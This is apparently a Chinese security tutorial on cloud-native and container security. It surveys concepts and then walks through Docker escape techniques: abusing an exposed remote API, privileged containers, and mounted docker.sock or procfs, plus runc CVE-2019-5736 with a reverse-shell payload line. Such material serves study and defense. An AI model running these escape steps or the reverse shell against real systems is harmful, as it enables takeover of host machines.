云原生安全

什么是云原生

云原生从字面意思上来看可以分成原生两个部分。云指的是应用跑在云端而不是本地服务器,云包含了IaaS(基础设施即服务)、PaaS(平台即服务)和SaaS(软件即服务)。原生是指在开始设计应用的时候就考虑到应用将来是运行云环境里面的,要充分利用云资源的优点,比如️云服务的弹性和分布式优势。

云原生的代表技术包括容器、服务网格(Service Mesh)、微服务(Microservice)、不可变基础设施和声明式API。

云原生安全的理解

这里参考https://tech.meituan.com/2020/03/12/cloud-native-security.html

11

自底向上看,底层从硬件安全(可信环境)到宿主机安全 。将容器编排技术(Kubernetes等)看作云上的“操作系统”,它负责自动化部署、扩缩容、管理应用等。在它之上由微服务、Service Mesh、容器技术(Docker等)、容器镜像(仓库)组成。它们之间相辅相成,以这些技术为基础构建云原生安全。

云原生安全的四个C

如果分层去考虑安全性,云原生安全的 4 个 C 分别是云(Cloud)、集群(Cluster)、容器(Container)和代码(Code)。

12

容器安全

容器安全按不同视角划分

  • 构建时安全(Build)
    • Dockerfile
    • 可疑文件
    • 敏感权限
    • 敏感端口
    • 基础软件漏洞
    • 业务软件漏洞
  • 部署时安全(Deployment)
    • Kubernetes
  • 运行时安全(Runtime)
    • HIDS

安全实施准则

  • 攻击前:裁剪攻击面,减少对外暴露的攻击面(隔离)。
  • 攻击时:降低攻击成功率(加固)。
  • 攻击后:减少攻击成功后攻击者所能获取的有价值的信息、数据以及增加留后门的难度等。

容器逃逸

近些年,数据中心的基础架构逐渐从传统的虚拟化(例如KVM+QEMU架构)转向容器化(Kubernetes+Docker架构),但“逃逸”始终都是企业要在这2种架构下所面对的最严峻的安全问题,同时它也是容器风险中最具代表性的安全问题。

判断当前是否为Docker环境

当渗透成功拿下权限后,有可能位于Docker环境中,判断是不是Docker环境有以下几种方式。

1.检查根目录下是否存在.dockerenv文件

1

2.检查 /proc/1/cgroup 是否存在含有”docker”字符串

2

物理机上是不带”docker”字符串的

3

3.其它辅助检测方式

查看pid为1的进程

可以通过查看pid为1的进程是什么,正常情况下应该是init启动,Docker环境下就不一定了,如物理机上都是启动进程。

4

5

而Docker中一般是其它业务进程

6

查看磁盘信息

还可以通过fdisk -l查看硬盘的方式来辅助判断,如果是一个非特权模式启动的容器那么就没有权限查看磁盘信息,从而判断出大概率是个Docker

Docker容器逃逸方法

配置不当导致Docker逃逸

Docker remote api未授权访问漏洞

我们可以利用该漏洞启动任意一个容器,将宿主机磁盘挂载到容器中,以vulhub为例。

9

这里我们挂载了宿主机的磁盘,因为宿主机有nc所以我们之间写入计划任务nc反弹shell了。

或者直接利用cdk(Exploit:-docker-api-pwn)在宿主机上执行命令

1
./cdk run docker-api-pwn http://192.168.0.3:2375 "touch /host/tmp/hack.txt"

13

使用 –privileged 特权模式启动容器

当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

如上文说了如果是一个非特权模式启动的容器那么就没有权限查看磁盘信息,现在我们以特权模式启动一个容器并执行fdisk -l命令。

7

在特权模式下可以在容器内部挂载宿主机磁盘,获得宿主机文件系统操作权限从而可以通过写ssh公钥、写计划任务等方式获取宿主机权限,这样就实现了Docker逃逸,具体操作方式如下。

新建一个目录:mkdir /test
挂载磁盘到新建目录:mount /dev/vda1 /test
切换根目录:chroot /test

8

接着就是刚才所说的写ssh公钥、写计划任务等方式获取宿主机权限了。

危险挂载导致Docker逃逸

如果挂载的目录包含以下两个文件之一则可导致Docker逃逸

挂载Docker Socket

Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:

  • unix:///var/run/docker.sock(默认)
  • tcp://host:port
  • fd://socketfd

简单来说就是如果docker客户端拥有了docker.sock就能与指定docker服务端交互,如果宿主机的docker.sock被挂载进了docker,那么攻击者就可以在docker里面使用docker客户端控制宿主机的docker,这个时候就可以按照上面的挂载宿主机目录来控制文件系统从而实现逃逸,我们来具体操作一下。

首先创建一个docker并挂载/var/run/docker.sock

1
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu

如果docker里面有docker客户端那么就可以直接开始逃逸了,如果没有那就需要安装一个docker客户端,依次执行以下命令安装。

1
2
3
4
5
6
7
apt-get update
apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | apt-key add -
apt-key fingerprint 0EBFCD88
add-apt-repository "deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/ $(lsb_release -cs) stable"
apt-get update
apt-get install docker-ce docker-ce-cli containerd.io

接着就可以开始逃逸了,默认会通过docker.sock与宿主机的docker交互,现在我们让宿主机创建一个新容器并挂载宿主机根目录进去,我们也进入这个新容器。

10

这下就拿到了宿主机的文件系统了,老方法逃逸。

或者直接远程下载一个cdk来执行命令

1
./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/hack.txt"
挂载procfs目录

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时(Docker默认情况下不会为容器开启User Namespace)。

手工操作流程比较复杂,这里使用cdk复现一下

1
docker run -itd -v /proc:/host/proc ubuntu

为了区分宿主机和主机的文件挂载到/host目录下,远程下载cdk后执行下面命令

1
./cdk run mount-procfs /host/proc "touch /tmp/test/hack.txt"

14

程序漏洞导致Docker逃逸

CVE-2019-5736 runc容器逃逸漏洞

漏洞详情

Docker、containerd或者其他基于runc的容器运行时存在安全漏洞,攻击者通过特定的容器镜像或者exec操作可以获取到宿主机的runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

影响范围

Docker版本 < 18.09.2
runc版本 <= 1.0-rc6。

利用步骤

使用POC:

POC: CVE-2019-5736-PoC

  • 修改payload
1
2
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/ip/port 0>&1"
  • 编译
1
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
  • 拷贝到docker容器中执行
  • 等待受害者使用docker exec连接容器
  • 收到反弹shell
CVE-2019-14271 Docker cp 命令容器逃逸攻击漏洞

漏洞详情

当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss.so库。黑客可以通过在容器中替换libnss.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。

影响范围

Docker 19.03.0

漏洞参考

CVE-2019-14271分析与复现

CVE-2019-13139 Docker build code execution

漏洞参考

CVE-2019-13139 - Docker build code execution

内核漏洞导致Docker逃逸

DirtyCow(CVE-2016-5195)脏牛漏洞实现Docker逃逸

因为Docker与宿主机共享内核,所以可通过内核提权漏洞实现Docker容器逃逸,获得root权限的shell。最经典的就是DirtyCow。

因为Docker与宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里。

漏洞环境:https://github.com/gebl/dirtycow-docker-vdso

容器安全检查清单

Docker安全备忘录

Reference

https://tech.meituan.com/2020/03/12/cloud-native-security.html

https://www.cnblogs.com/xiaozi/p/13423853.html

https://threezh1.com/2021/02/26/%E4%BA%91%E5%8E%9F%E7%94%9F%E5%AE%89%E5%85%A8Cheat_Sheet/

https://kubernetes.io/zh/docs/concepts/security/overview/

https://zhuanlan.zhihu.com/p/150190166